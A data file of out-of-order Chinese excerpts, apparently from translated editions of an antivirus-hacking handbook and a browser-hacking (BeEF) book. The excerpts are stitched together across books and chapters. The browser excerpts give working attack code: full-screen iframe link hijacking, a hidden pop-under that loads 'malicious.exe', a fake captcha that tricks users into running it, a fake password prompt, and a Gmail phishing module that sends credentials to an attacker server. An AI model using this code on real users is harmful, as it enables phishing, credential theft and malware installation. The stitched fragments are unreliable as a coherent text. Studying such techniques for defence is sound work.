    {"text": "这还不是最糟糕的，一些类似卡巴斯基所使用的TLS流量拦截功能将用户暴露在一系列已经在TLS中修复的漏洞的威胁之下，比如CRIME和FREAK等。"},
    {"text": "更糟糕的是，如果这些产品通过TLS从自己的服务器上下载更新文件，这类TLS流量拦截功能也会削弱反病毒软件自身的保护。 从防护角度来说，这些TLS流量拦截功能是无法接受的，另一方面，这也会让攻击者更容易写出漏洞利用程序——反病毒软件的设计缺陷允许攻击者在系统安装了所有补丁的情况下不使用浏览器完成许多其他攻击。"},
    {"text": "5.4 总结 本章涵盖了有关升级服务的各种话题，比如，现代反病毒软件是如何进行更新的，使用的是什么更新协议，以及错误和不安全的更新方式带来的安全短板。"},
    {"text": "黑客攻防技术宝典：反病毒篇 第 16 章 当前反病毒防护趋势 反病毒产品所提供保护的稳定性和有效性不仅由其本身质量决定，同时也受目标用户的影响。"},
    {"text": "16.1 匹配攻击技术与目标 本书前面介绍并探讨了针对安装有某些反病毒产品的计算机的多种技术、缺陷、攻击方式、潜在漏洞和已公开的漏洞利用程序。"},
    {"text": "因此，需要有一个针对特定攻击目标选取合适攻击技术的度量衡。 接下来将会阐释在选择针对哪个目标使用哪种攻击技术时，需要考量的各种因素。"},
    {"text": "16.1.1 多种多样的反病毒产品 如今市场上充斥着各类反病毒软件，因此不可能使用一种攻击技术覆盖到所有计算机用户。 反病毒产品种类十分庞大，如果能够成功攻击市场上最主流的反病毒软件，就意味着可以影响到20%的用户了。"},
    {"text": "当攻击者想要尽可能多地感染家庭用户时，一般不会过多考虑使用多么高级的技术，而是会关注如何使用最简单的技术来最快感染大量的家庭个人计算机用户。 攻击者会针对家庭个人计算机用户（比如，我们母亲或祖母的电脑）开展攻击的原因有很多种，但是他们的主要动机在大多数情况下是一致的：赚钱。 以下是攻击者可以从攻击个人家庭用户带来的利益。 通过感染个人家庭用户电脑，窃取银行信息或其他可以直接接触用户资金账户的数据，比如PayPal或Amazon等账户信息。 通过感染个人家庭用户组件僵尸网络，进行分布式拒绝服务攻击、发送垃圾邮件、挖掘比特币等。"},
    {"text": "借助社会工程学攻击的手段，攻击者可以欺骗用户安装假的反病毒套装。 假的反病毒软件会向用户发出多条虚假的病毒风险提示，从而欺骗用户支付购买完整版反病毒产品来“修复”被感染的系统。"},
    {"text": "(2) 攻击目标组织B制订了严密的安全防护方案，组织内的所有计算机都安装上了反病毒软件，所有内网流量都会经过反病毒软件的检查； (3) 攻击者A向组织B的邮件网关服务器发送一封电子邮件，其中带有对应反病毒软件的漏洞利用攻击程序；"},
    {"text": "事情可能比想象的还要糟糕，如果针对反病毒软件的漏洞利用攻击程序向对应反病毒软件注入了恶意内容呢？ 比如，如果攻击者A在目标机器B上注入的恶意内容执行上下文是反病毒软件呢？"},
    {"text": "卡巴斯基没有披露关于此次攻击的更多细节，但这绝对是一个活生生的案例：用户过分相信一款反病毒产品，攻击者利用其中的零日漏洞发起攻击，影响了世界上的许多企业。"},
    {"text": "一个拥有无限资源的大型公司或政府机构可以轻而易举地攻破一个价值50美元的防护软件，那么攻破使用广泛的反病毒防护套装的可能性又有多大呢？"},
    {"text": "根据我的研究经验，针对零售版本的反病毒软件的漏洞利用程序，在进行针对商业组织版本的漏洞利用攻击过程中，因为需要使用不同的ASLR绕过技术、不同的路径、针对不同端口和管道的监听方式等，所以需要作出相关调整。"},
    {"text": "反病毒软件的自我保护是反病毒软件可以采取的用于防止相关反病毒进程和服务被恶意软件终止的最基本措施，不过也有一些例外：有些反病毒厂商只会关心市场营销。"},
    {"text": "黑客攻防技术宝典：反病毒篇 第一部分 反病毒技术入门 第 1 章 反病毒软件入门 第 2 章 逆向工程核心 第 3 章 插件系统 第 4 章 反病毒特征码技术 第 5 章 反病毒软件的更新系统"},
    {"text": "典型的插件例子有：PDF解析器、针对特定EXE文件壳（如UPX壳）的脱壳程序、Intel x86模拟器、基于模拟器的沙盒程序，以及结合其他插件实现的静态启发式引擎。"},
    {"text": "最常用的办法是分配读/写/执行（RWX）内存页，将插件文件内容解密并解压缩到分配的内存页中，必要时重载代码（Bitdefender就是这么做的），最后移除内存页的相关写入权限。"},
    {"text": "另外还有一些反病毒软件公司以动态链接库（DLL）的形式提供插件，依托操作系统的动态链接库加载机制（比如，使用Microsoft Windows操作系统中的API LoadLibrary），使插件的加载过程变得更简单。"},
    {"text": "比如，反病毒软件Avira将其插件DLL文件中的字符串全部进行了加密处理，当插件加载完毕后，又在内存中解密（通过一个简单的XOR算法和预存在插件代码中的固定key实现）。"},
    {"text": "在另一个案例中，卡巴斯基反病毒软件使用了一种完全不同的插件加载方式：插件更新文件以COFF对象文件格式下载到用户电脑中，接着它们又被链接到反病毒软件内核中。"},
    {"text": "3.1.1 反病毒软件的全功能链接器 卡巴斯基的更新文件以通用对象文件格式（common object file format，COFF）提供，而不是动态加载链接库或创建RWX内存页然后将插件的代码逻辑释放到内存页中。"},
    {"text": "这类文件的文件头如下： 0000 41 56 50 20 41 6E 74 69 76 69 72 61 6C 20 44 61 AVP Antiviral Da 0010 74 61 62 61 73 65 2E 20 28 63 29 4B 61 73 70 65 tabase. (c)Kaspe 0020 72 73 6B 79 20 4C 61 62 20 31 39 39 37 2D 32 30 rsky Lab 1997-20 0030 31 33 2E 00 00 00 00 00 00 00 00 00 00 00 0D 0A 13.............. 0040 4B 61 73 70 65 72 73 6B 79 20 4C 61 62 2E 20 31 Kaspersky Lab. 1 0050 36 20 53 65 70 20 32 30 31 33 20 20 31 30 3A 30 6 Sep 2013 10:0 0060 32 3A 31 38 00 00 00 00 00 00 00 00 00 00 00 00 2:18............ 0070 00 00 00 00 00 00 00 00 00 00 00 00 0D 0A 0D 0A ................ 0080 45 4B 2E 38 03 00 00 00 01 00 00 00 E9 66 02 00 EK.8.........f.. 在此案例中，ASCII文件头一开始为 AVP Antiviral Database. (c)Kaspersky Lab 1997-2013 ，接着用字符 0x00 填充，然后更新包发布日期（ Kaspersky Lab. 16 Sep 2013 10:02:18 ），而后又用多个 0x00 字符填充。"},
    {"text": "这些插件文件不仅存在于容器文件中（比如Panda Antivirus的PAV.SIG文件、Avast的*.VPS文件或Microsoft Antivirus的*.VDB文件），也有可能分布在许多碎片文件中（比如Bitdefender）。"},
    {"text": "在必要的时候，插件文件首次被解密后（比如，Microsoft并没有加密反病毒数据库，而仅仅是压缩了一下）会被加载入内存中。 为了将插件文件加载到内存中，反病毒内核通常会在堆上创建一个RWX内存页面，将解密和解压缩后的文件数据复制到新创建的内存页面中，并调整内存页面的权限，必要时重新定位内存中的代码。"},
    {"text": "逆向分析采用动态加载技术的反病毒产品，要比采用静态对象链接技术（卡巴斯基采用的方式）的产品困难得多，因为系统启用的ASLR技术，使每次内核加载的数据块的内存地址是随机的。"},
    {"text": "比如，使用开源的IDA插件Diaphora或收费版的zynamics BinDiff，在载入内存过程中，对包含注释和函数名的数据库进行二进制文件比较（这个过程也称作BindDiffing）。 通过BindDiffing，你可以从之前的IDA数据中，将相关信息导入到新的相同实例中去（从不同的内存地址中加载）。"},
    {"text": "关于容器 一些反病毒软件会将所有更新文件置入容器文件中，而不是以单个文件的形式推送更新。 如果你研究的反病毒软件使用了容器文件格式，在研究容器内部文件之前，需要好好研究该容器的文件格式。"},
    {"text": "如果复制到内存的代码需要重新分配地址，开发的复杂程度和反病毒插件的加载时间都会增加。 由于相关文件需要被加密和压缩，开发这样一套系统的复杂度无疑会增加。"},
    {"text": "另外，因为插件释放过程中生成的文件不是标准的可执行文件（比如PE文件、MachO文件或ELF文件），所以反病毒软件开发者不得不为反病毒插件开发一种特殊的签名认证机制。"},
    {"text": "遗憾的是，大多数反病毒厂商都会直接采用他们想到的第一种办法，而不考虑可能的后果、插件后期维护甚至是将插件移植到新的操作系统平台上（比如Linux和Android或Mac OS X和iOS）需要耗费多少精力。"},
    {"text": "这些厂商的插件通常是仅针对当前支持的系统平台（Windows系统）而开发的非标准PE文件（这类插件使用PE文件头作为容器，但是相较于传统PE文件，却使用的是完全不同的文件格式）。"},
    {"text": "然而，从逆向分析角度来说，这有很大的好处：我们的分析对象就是在机器上链接起来的运行反病毒产品的对象文件。 有许多原因使反病毒产品的加载机制更容易被逆向分析。"},
    {"text": "另外，由于代码被载入堆中，而ASRL保护技术使这些模块经常会被载入不同的内存地址，除非IDA数据库被正确重定位，否则每次启动调试器，代码就会被定位到一个完全不同的位置，所有注释、函数名和之前反汇编过程中所做的标注都将丢失，整个过程真的非常繁琐无味。"},
    {"text": "设置断点的时候也如此——如果你在一些指令处设下断点然后重新启动调试器，因为基础地址变更的缘故，这时候断点可能位于一个无效的内存地址处。"},
    {"text": "3.2 反病毒插件的种类 反病毒插件有许多种：一些仅仅是让反病毒产品能够支持更多的压缩文件种类，还有一些用于执行深度扫描和查杀修复感染型病毒（比如Sality病毒或Virut病毒）。 一些插件可能是反病毒工程师的好帮手（因为这些插件可以帮助通用病毒查杀和感染修复，比如反汇编引擎、模拟器甚至是新的特征码种类），也可能属于一些全新、完全不同的插件种类，比如针对特定的反病毒虚拟机开发的反病毒插件（就像为了提取许可文件而解开受VMProtect保护的第一层程序）或为了支持某些脚本语言而开发的插件。 对所有反病毒软件分析者来说，想要了解一款反病毒软件的工作原理，就必须理解反病毒插件的加载系统及其支持的插件类型。"},
    {"text": "接下来将详细介绍一些反病毒软件通常会带有的插件功能. 3.2.1 扫描器和通用侦测程序 扫描器是任何一款反病毒软件中最常见的插件类型。"},
    {"text": "比如，当扫描器扫描文件的时候，如果在文件内部发现了一个URL链接，那么这时候URL扫描插件就会被加载。 URL扫描器会检测文件包含的是否为恶意链接。"},
    {"text": "当你通过逆向工程技术查找反病毒软件内的安全缺陷或绕过反病毒软件的方法时，应该着重注意以下信息： 一个文件如何以及何时被标记为恶意软件；"},
    {"text": "这类扫描插件用于特殊文件、目录、注册KEY等的扫描（也有可能是修复文件感染）。 比如，有一种插件被开发用于侦测Sality文件感染型病毒及其变种，为接下来的感染文件修复收集相关信息。"},
    {"text": "处理复杂病毒文件的代码常常容易出错，当病毒流行势头过了以后，由于开发者们认为病毒几乎已经销声匿迹了，处理相关病毒的代码往往会几年都没有人维护更新。"},
    {"text": "代码重用的安全实现方式 尽管通用查杀程序及其相应的感染修复模块似乎都是基础功能模块，但是一些反病毒内核并没有提供内部插件模块通信的方式。 由于类似的功能短板，没有模块间交互通信的反病毒内核会在感染文件的修复模块中重复使用通用病毒检测模块中的相关代码。 文件感染修复模块代码中的bug被修复后，可能不会同步修复通用查杀程序中重用使用的相关代码。 也正因为这样，通用病毒检测模块中已经修复的bug在文件感染修复模块的代码中仍然存在。"},
    {"text": "3.2.2 支持文件格式和协议 一些插件用于分析文件格式和协议。 这类插件提升了反病毒内核解析、打开和分析新型文件格式和协议（比如文件壳或EXE封装程序）的能力。"},
    {"text": "旨在分析协议的插件通常会内置在网关或服务器产品中，在桌面个人版产品中则鲜有此类插件的身影。 不过，有一些反病毒产品的桌面个人版也会提供分析基础网络协议（比如HTTP协议）的功能。"},
    {"text": "这类插件可以是针对UPX、Armadillo、FSG、PeLite或ASPack EXE packer的脱壳程序，可以是PDF、OLE2、LNK、SIS、CLASS、DEX或SWF的文件解析器，也可以是针对zlib、gzip、RAR、ACE、XZ和7z等文件的解压缩程序。"},
    {"text": "PDF格式解析引擎已有提及，但在反病毒软件中，支持扫描Microsoft Word、Excel、Visio和PowerPoint文件的OLE2引擎，ASF格式视频引擎、支持Mac OS X操作系统平台下可执行程序分析的Mach0引擎、针对ELF可执行文件以及一长串更为复杂的文件格式的引擎，这些引擎不出bug的可能性又有多大呢？"},
    {"text": "如果再考虑一下反病毒软件需要支持的协议，其中有些协议还是没有相关文档规范或者规范模糊的（比如Oracle公司的TNS协议或CIFS协议），你就会幡然醒悟，这类模块对任意一款反病毒软件来说都是最易受到攻击的地方。"},
    {"text": "解析和解密插件的复杂性 反病毒软件经常需要处理不完整的代码。 但是，在编写文件解析器或解密器时，反病毒工程师常常会把软件需要处理的文件当作结构正常的文件来处理。 这导致反病毒软件在解析文件和协议过程中经常出错。 另外，还有一些反病毒工程师想让反病毒软件的检测范围覆盖到边缘文件，这就大大增加了反病毒插件的复杂性，也给反病毒软件带来不少潜在的缺陷。 安全研究者和反病毒工程师需要特别关注反病毒软件中的文件解析器和解密器插件。"},
    {"text": "ZIP启发式引擎用来检测加密过的ZIP文件，在此过程中会使用到其他插件提供的前期信息。 比如针对ZIP压缩文件开发的文件格式检测插件，在前期会尽可能多的收集与待检测文件相关的信息。 ZIP引擎会首先通过扫描引擎确认ZIP文件格式可以被反病毒内核解析。"},
    {"text": "比如，一份PDF文件看似畸形、十分可疑，因为它包含JavaScript代码，嵌入了通过多种加密手段的数据流（有一些甚至是重复的，比如针对一个附件重复采用了FlasteDecode或ASCII85Decode），并包含各类以ASCII、十六进制和八进制编码的字符串。"},
    {"text": "静态启发式引擎不需要执行样本来判定其是否是恶意文件，而动态启发式引擎则恰恰相反，需要在虚拟系统中执行程序并监控文件行为，比如开发基于Intel ARM架构的沙盒程序或JavaScript脚本程序模拟器。"},
    {"text": "(3) 如果收集的标志与已知恶意软件样本族完全吻合或十分相似，贝叶斯网络就会给出相关评级； (4) 使用贝叶斯网络给出的相关评级数值，反病毒软件就可以判断对应样本文件“很有可能是恶意软件”或“很有可能是正常文件”。 当然在使用贝叶斯网络的情况下，我们也会遇到相同的困惑：如果恶意软件和正常文件具有相同的PE文件头或其他启发式检测标志（压缩方式、熵等），或者几乎所有检测标志都相似怎么办？"},
    {"text": "反病毒厂商通常会询问用户是否要加入反病毒社区，以便发送用户电脑上的可疑文件以供分析。 在将相关可疑文件发送给反病毒厂商之前，反病毒软件会先使用贝叶斯网络筛选出一些潜在候选恶意文件（当可疑文件数量过多的时候）。"},
    {"text": "Bloom过滤器 Bloom过滤器是反病毒软件用来判断文件是否已知恶意软件的数据结构。 Bloom过滤器会判断对应文件是完全不在恶意软件数据集中还是很可能在数据集中。 如果其他插件模块收集的启发式标志通过了Bloom过滤器，那么样本绝对不是恶意软件，反病毒软件也不必将文件或缓冲区内容分发给其他更为复杂（检测速度会更慢）的检测模块了。"},
    {"text": "假如在数据库中，有包含以下散列的样本： 99754106633f94d350db34d548d6091a9fe934c7a727864763bff7eddba8bd49 e6e5fd26daa9bca985675f67015fd882e87cdcaeed6aa12fb52ed552de99d1aa 如果分析中的新样本文件或缓冲区内容不以 9 或 E 开头，我们可以认为它不在恶意文件特征集当中，也不需要再发送给深度启发式扫描程序做检测了。 但是，如果以 9 或 E 开头，那么样本文件可能属于恶意文件特征集，这时候就需要进行更复杂的查询侦测来判定对应样本文件是否是恶意软件。"},
    {"text": "当针对样本文件执行的所有操作分配完权重值后，反病毒引擎会最终判定对应文件是否是恶意软件。 举个例子，反病毒软件会将以下恶意软件行为记录： (1) 恶意软件读取了运行目录下纯文本格式文件内容；"},
    {"text": "基于权重的启发式引擎会对上述步骤中的前两步分配负数数值（因为类似启动行为），但会为接下来的操作步骤分配正数数值（因为这些操作是典型的下载者行为）。"},
    {"text": "当对每个文件操作行为分配了权重数值以后，基于用户的相关扫描配置，对应样本文件的最终权重将会被计算出来，从而判定文件是否是恶意软件。"},
    {"text": "3.3 高级插件 除了之前讨论的插件模块外，反病毒产品中还有许多各异的模块。 本部分将介绍反病毒产品中常见的高级插件模块。 3.3.1 内存扫描器 扫描器是反病毒产品使用最多的插件。 一个高级扫描器就是我们常能在反病毒产品中发现的内存扫描器。"},
    {"text": "同时，用户态内存扫描器也能被系统接口（比如基于Windows的操作系统中的OpenProcess和ReadProcessMemory）或者第三方内核态扫描器调用。 使用系统接口来调用用户态扫描器并不总是明智之选，因为它可以被其他程序干扰，恶意软件开发者们也有诸多方法来绕过它。"},
    {"text": "要读取内核内存，反病毒软件公司必须编写内核驱动程序。 反病毒引擎研发公司已经开发出了能够同时读取用户进程和内核进程内存的内核驱动程序，相当于在用户进程与内核进程之间插入通信子层，以传递缓冲区内容至扫描程序进行分析。"},
    {"text": "如果内核驱动程序不验证是哪一个应用在调用I/O控制代码（I/O Control Code，IOCTL）来请求内核内存的读取权限，会出现什么样的状况？ 毫无疑问，这会造成任意应用读取内核内存的严重安全问题，任何知道这一通信层和恰当IOCTL的用户态应用都可以读取内核内存。"},
    {"text": "内存分析技术会被外界程序干扰，使用时需要相当小心，因为它能够被自身的调试引擎、文件检测引擎以及逆向引擎甄别出来，从而导致无法正常工作。"},
    {"text": "一些公司干脆使引擎不去干扰正在读取内存的进程，因为这会妨碍合法应用程序的正常运行，他们的观点便是让反病毒引擎能够充分读取磁盘上的文件模块。"},
    {"text": "3.3.2 非本机代码 出于性能的考虑，反病毒软件内核通常使用C或C++语言编写，但也可以使用更高级的编程语言编写插件模块。 一些反病毒产品使用.NET或其他需要使用虚拟机解释执行特定的编程语言来创建插件（比如通用检测插件、感染修复插件或启发式检测引擎）。"},
    {"text": "安全性 如果编写插件模块使用的语言运行在虚拟机中，在解析复杂文件格式或修复感染型病毒的过程中出现了bug，也不会影响整个产品，而只会影响进程运行的虚拟机、模拟器或解释器。"},
    {"text": "调试能力 如果使用特定的编程语言编写通用扫描程序、感染修复程序或启发式引擎，且反病毒软件提供封装的API，反病毒软件开发者就可以使用对应编程语言提供的相关工具调试代码。"},
    {"text": "这也就意味着，如果反病毒软件中存在漏洞，比如存在一个缓冲区溢出，也不会直接影响到整个扫描器的工作（比如通常以SYSTEM或root权限运行的反病毒后台常驻程序）。"},
    {"text": "另一方面，一些反病毒产品创建一个完整的指令集，并提供了API接口，但没有提供调试代码的调试器，这给反病毒工程师的工作带了不小的挑战。"},
    {"text": "在这种情况下，如果你使用一些熟悉的反汇编软件（比如OllyDbg、GDB和IDA）进行调试，就会了解反病毒行业中用户虚拟机技术的工程师少的可怜的原因了。"},
    {"text": "反病毒软件常用的非本机语言是Lua和.NET，一些反病毒软件厂商会因地制宜地针对自家虚拟机支持的格式编写.NET字节码解释器，还有一些厂商则会直接将现成的.NET虚拟机直接内置在他们的反病毒产品中； 另外有些厂商会将Lua作为编程高级语言，因为Lua轻巧、运行速度快，同时能够很好地处理字符串，此外还允许在商业闭源版本的反病毒软件中被使用。 对于反病毒软件开发者来说，尽管使用非本机语言编写会带来难以调试的问题，但使用.NET类的语言（比如C#）比使用C或C++来编写相关程序要容易得多。"},
    {"text": "拿反病毒软件ACME AV来说，在开发过程中，该反病毒软件实现了自己的一套虚拟机，其大多数病毒侦测、感染修复以及启发式扫描程序都围绕这套虚拟机进行开发。"},
    {"text": "因此，每当新版本的虚拟机发布后，新的反汇编工具，可能是模拟器或基于上一版本虚拟机指令集开发的逆向分析软件，需要被更新或彻底重写一次。"},
    {"text": "研究这类插件的过程十分复杂，但如果你选取研究的虚拟机已经被广泛使用，比如.NET虚拟机，就可能幸运地发现潜藏在角落里完整的.NET库或可执行文件，进而使用普通的反编译软件比如开源的ILSpy或其他商业版工具（.NET Reflector）开展逆向分析了。"},
    {"text": "因此，新进入反病毒软件公司的工程师事实上并不需要了解如何使用C或C++甚至是汇编语言，因为他们只需要使用Lua、JavaScript或其他反病毒软件内核支持的脚本语言编写。"},
    {"text": "对于逆向分析者来说，与一般的虚拟机技术相反，如果反病毒产品直接通过脚本执行相关操作，研究者只需要找到脚本在哪里，然后导出并开始分析真实的源代码。"},
    {"text": "如果脚本被编译成了某种字节码，运气好的话，研究者就会发现反病毒产品中的虚拟机嵌入的是标准的脚本语言，比如Lua，接着找到一款已经编写好的反编译程序，比如开源的unluac程序。"},
    {"text": "由于几乎每天都有恶意软件制作者和商业保护软件的开发者开发并使用新的反模拟技术，模拟器会经常更新。 当反病毒工程师发现新的指令或API正在被恶意软件或保护壳使用时，模拟器中相关指令或API就会被更新，以兼容这些恶意软件或保护壳的操作。"},
    {"text": "让桌面版反病毒软件中的模拟器不仅支持整个CPU还要支持操作系统的API的模拟，同时不产生巨大的性能消耗，是一项根本不可能完成的任务。 反病毒厂商试图做的是，在不模拟所有指令集或API的情况下，权衡需要支持的API和指令，并尽可能多地模拟恶意软件行为。"},
    {"text": "反病毒软件中的插件模块是其重要组成部分，在有需要的时候插件模块会被调用。 反病毒软件通过多种方式加载插件。 一些反病毒软件加载插件依赖于操作系统提供的API，而另一些会自己定制插件解密和加载机制。 反病毒软件的插件模块加载过程揭示了，对于逆向分析者来说，逆向分析它们的内部功能是多么困难的一件事。"},
    {"text": "用户态扫描器容易受干扰，并可能会因此影响程序的执行。 内核态扫描器往往具有较强的抗干扰性，但如果执行不当的话，往往会出现安全漏洞。"},
    {"text": "黑客攻防技术宝典：反病毒篇 版权信息 书名：黑客攻防技术宝典：反病毒篇 作者：[西] Joxean Koret [美] Elias Bachaalany 译者：周雨阳 ISBN：978-7-115-46333-3 本书由北京图灵文化发展有限公司发行数字版。版权所有，侵权必究。 您购买的图灵电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。 我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。 如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。 图灵社区会员专享 尊重版权"},
    {"text": "演示代码如下： var idle_timer; begin_countdown = function() { idle_timer = setTimeout(function() { performComplicatedBackgroundFunction(); }, 60000); } $j(window).blur(function(e) { begin_countdown(); } $j(window).focus = function() { clearTimeout(idle_timer); } 这段代码定义了一个 idle_timer 变量和一个 begin_countdown 函数。 当函数执行时，会新建一个计时器并赋给 idle_timer ，计时器在1分钟后会执行 performComplicatedBackground Function() 。"},
    {"text": "15 Aza Raskin. (2010). Tabnabbing: A New Type of Phishing Attack . Retrieved November 15, 2013 from http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/ 将不可见标签中的URL替换成一个克隆网站的URL，这是标签绑架攻击的一种典型案例，其中用到BeEF的“社会工程学”扩展，我们曾在2.2.4节中介绍过。"},
    {"text": "如果你已经攻陷了一个页面，而且希望能够持续对勾连浏览器进行控制，那么可以采用一个小技巧：将勾连的DOM中所有的当前链接重写，以把它们加载到全屏的IFrame。"},
    {"text": "这里我们复用曾在第3章中介绍过的代码片段，来创建这个全屏的IFrame： createIframe: function(type, params, styles, onload) { var css = {}; if (type == 'hidden') { css = $j.extend(true, { 'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); } if (type == 'fullscreen') { css = $j.extend(true, { 'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); } var iframe = $j('<iframe />').attr(params).css(css).load(onload). prependTo('body'); return iframe; } 借助强大的jQuery选择器，我们可以用非常简单的语句，实现对当前DOM中所有锚点元素的遍历： $j('a').click(function(event) { if ($j(this).attr('href') != '') { event.preventDefault(); beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null ); $j(document).attr('title',$j(this).html()); document.body.scroll = \"no\"; document.documentElement.style.overflow = 'hidden'; } }); 对当前DOM中的所有链接执行以下操作。"},
    {"text": "为了尽量减小被用户察觉的可能性，可以借助BeEF的事件模块对用户进行监控，当用户跳出页面后，使用Redirect Browser (iFrame)模块，打开一个新的全屏大小的IFrame，如图5-7所示。"},
    {"text": "目前大多数浏览器均提供了进行全屏显示的方法，比如在Windows下的IE中按F11键切换全屏。 借助HTML 5的全屏显示API，切换全屏的操作也可以由程序控制浏览器完成，YouTube也是利用此方法进行全屏播放的。"},
    {"text": "可以使用下面的函数屏蔽差异： function requestFullScreen() { if (elementPrototype.requestFullscreen) { document.documentElement.requestFullscreen(); } else if (elementPrototype.webkitRequestFullScreen) { document.documentElement.webkitRequestFullScreen( Element.ALLOW_KEYBOARD_INPUT); } else if (elementPrototype.mozRequestFullScreen) { document.documentElement.mozRequestFullScreen(); } else { /* can't go fullscreen */ } } 无独有偶，Sindre Sorhus也实现了一个提供同样功能的JavaScript库 16 。"},
    {"text": "16 Sindre Sorhus. (2013). Screenfull.js . Retrieved November 15, 2013 from https://github.com/sindresorhus/screenfull.js 图 5-8 全屏警告 为了减少用户对伪造的全屏显示内容产生怀疑的可能性，可以尝试使用与原网站域名较为相似的域名加载frame，这样警告对话框中的网址和已加载的网址对比起来差异较小，几乎可以说是一模一样的。"},
    {"text": "17 Rosario Valotta. (2013). Abusing browsers user interfaces (for fun & profit) . Retrieved November 15, 2013 from https://sites.google.com/site/tentacoloviola/abusing-browsers-gui 即便窗口处于后台运行，非模态通知仍然可以正常显示，例如弹出广告或打开辅助窗口。"},
    {"text": "根据浏览器语言的不同，在浏览器发出通知时，你可以用快捷键Alt+R（Run，英语系统下），或快捷键Alt+E（Esegui，意大利语系统下），运行可执行程序。"},
    {"text": "(5) 现在你可以使用一些社会工程学的技巧，让用户自觉自愿地按下R键、空格键或Enter键，按这些键的效果等同于用户在非模态对话框中点击Run按钮。"},
    {"text": "使用下面的代码即可以实现这个漂亮的攻击： <!DOCTYPE html> <html> <head> <!-- with IE9, the focus of the pop-under is on the notification bar, which facilitates the attack --> <meta http-equiv=\"X-UA-Compatible\" content=\"IE=EmulateIE7\" /> </head> <body> <h2>Private Forum <br> <h3>Click the button to start registration <div> <button onclick=\"loadpopunder()\">Start</button> </div> <script> function loadpopunder(){ win3=window.open('popunder.html','', 'top=0, left=0,width=500,height=500'); win3.blur(); document.write(\"Loading...\"); document.location=\"captcha.html\"; doit(); } function doit(){ win3=window.open('popunder.html','', 'top=0, left=0,width=500,height=500'); win3.blur(); } </script> </body> </html> 当用户点击Start按钮时，会执行 loadpopunder() 函数，然后会弹出一个新窗口，并在其中加载popunder.html页面。 popunder.html页面包含的代码如下： <!DOCTYPE html> <html> <head> <meta charset=\"utf-8\" /> <!-- with IE9, the focus of the pop-under is on the notification bar, which facilitates the attack --> <meta http-equiv=\"X-UA-Compatible\" content=\"IE=EmulateIE7\" /> <title>Exploit Demo</title> </head> <body style='height: 1000px' > <iframe id=\"f1\" width=\"100\" height=\"100\"></iframe> <script type=\"text/javascript\"> document.getElementById(\"f1\").src=\"malicious.exe\"; </script> </body> </html> 由于弹窗被很好地隐藏在当前浏览窗口背后，因此用户很难注意到这些变化。"},
    {"text": "同时，当前页面也跳转至captcha.html： <!DOCTYPE html> <html> <head> <!-- with IE9, the focus of the pop-under is on the notification bar, which facilitates the attack --> <meta http-equiv=\"X-UA-Compatible\" content=\"IE=EmulateIE7\" /> </head> <body> <h2>To proceed with registration we need to verify you are not a bot... <br> <h3>Type the text shown below:</h3> <img src=\"blink.gif\"></img> <img src=\"captcha.png\" style=\"position:absolute; top:120px; left:170px\"></img> </body> </html> 这个虚假的验证码输入框可以诱导用户按下你需要的按键，比如本例中在英文操作系统下的R键（运行）。"},
    {"text": "图 5-10 用户被诱导点击R键后，程序开始运行 图 5-11 安装自动开始 为了能使通知栏在默认状态下获得焦点，在上文代码中我们使用了 meta 标签，将IE引擎设置为IE7兼容模式。"},
    {"text": "然而，UAC并不会给我们带来很多困扰，因为它只对需要管理员权限才能执行的程序有效，而一个带有Meterpreter后门的程序并不需要这些权限。"},
    {"text": "18 Microsoft. (2013). What is User Account Control? Retrieved November 15, 2013 from http://windows.microsoft.com/en-GB/windows-vista/what-is-user-account-control 19 Microsoft. (2013). SmartScreen Filter . Retrieved November 15, 2013 from http://windows.microsoft.com/en-GB/internet-explorer/products/ie-9/features/smartscreen-filter 图 5-12 SmartScreen筛选器运行实例 与大部分基于黑名单的检测类似，SmartScreen无法做到百分百可靠。"},
    {"text": "20 Symantec. (2013). Symantec Extended Validation Code Signing . Retrieved November 15, 2013 from http://www.symantec.com/verisign/code-signing/extended-validation 1. 使用伪造的登录输入框 你可能会有疑惑，既然我们已经有能力监控用户所有的键盘事件，为什么还需要通过其他途径获得他们的用户名和密码呢？"},
    {"text": "使用JavaScript的 prompt() 函数伪造登录提示框非常简单，代码如下所示： var answer = prompt(\"Your session has expired. Please re-enter your password:\"); 当该代码运行时，会弹出一个对话框并自动获得焦点，如图5-13所示。"},
    {"text": "该模块带有一套经过设计的钓鱼模板，其中包括一些以下列网站为目标的模板： Facebook LinkedIn YouTube Yammer 针对未提到的其他网站，此模块还提供了一个通用的模板，该模板允许自定义对话框中的图像。"},
    {"text": "该模块在首次启动时会执行以下代码： 21 Sean Ludwig. (2012). Gmail finally blows past Hotmail to become the world's largest email service | VentureBeat . Retrieved November 15, 2013 from http://venturebeat.com/2012/06/28/gmail-hotmail-yahoo-email-users/ document.title = \"Google Mail: Email from Google\"; beef.browser.changeFavicon(\"https://mail.google.com/favicon.ico\"); logoutGoogle(); displayPhishingSite(); 搭建钓鱼环境分为两步：首先更新当前文档的标题，然后将页面的图标更新为Google的favicon.ico文件。"},
    {"text": "图 5-16 Gmail钓鱼 当用户在这个伪造的登录界面中输入登录信息时，该模块会将这些信息送回BeEF服务器，并尝试打开一个新窗口用于勾连BeEF，最终将用户带回到Google的登录界面。"},
    {"text": "由于之前使用了登出逻辑，用户会回到Google的登录界面，此界面与我们之前伪造的界面相同，从而使用户误以为他们因为输错了登录信息而再次回到这里。"},
    {"text": "此逻辑的代码片段如下： window.open(http://browserhacker.com/rehook.html); window.focus(); window.location = \"https://accounts.google.com/ServiceLoginAuth\"; 要找到该模块完整的代码，你可以访问 https://browserhacker.com ，或Wiley的网站 www.wiley.com/go/browserhackershandbook 。"},
    {"text": "安全专家们（当然，包括本书作者在内）经常向那些不具有太多安全防范能力的受众，灌输保持软件更新的重要性，特别是需要及时安装重要的安全补丁。"},
    {"text": "我们所要做的只是充分利用用户对于“简单地处理电脑安全问题”的渴望，因为这些信任不仅会为我们打开通往目标电脑的大门，还有可能为我们指引一条坦途。"},
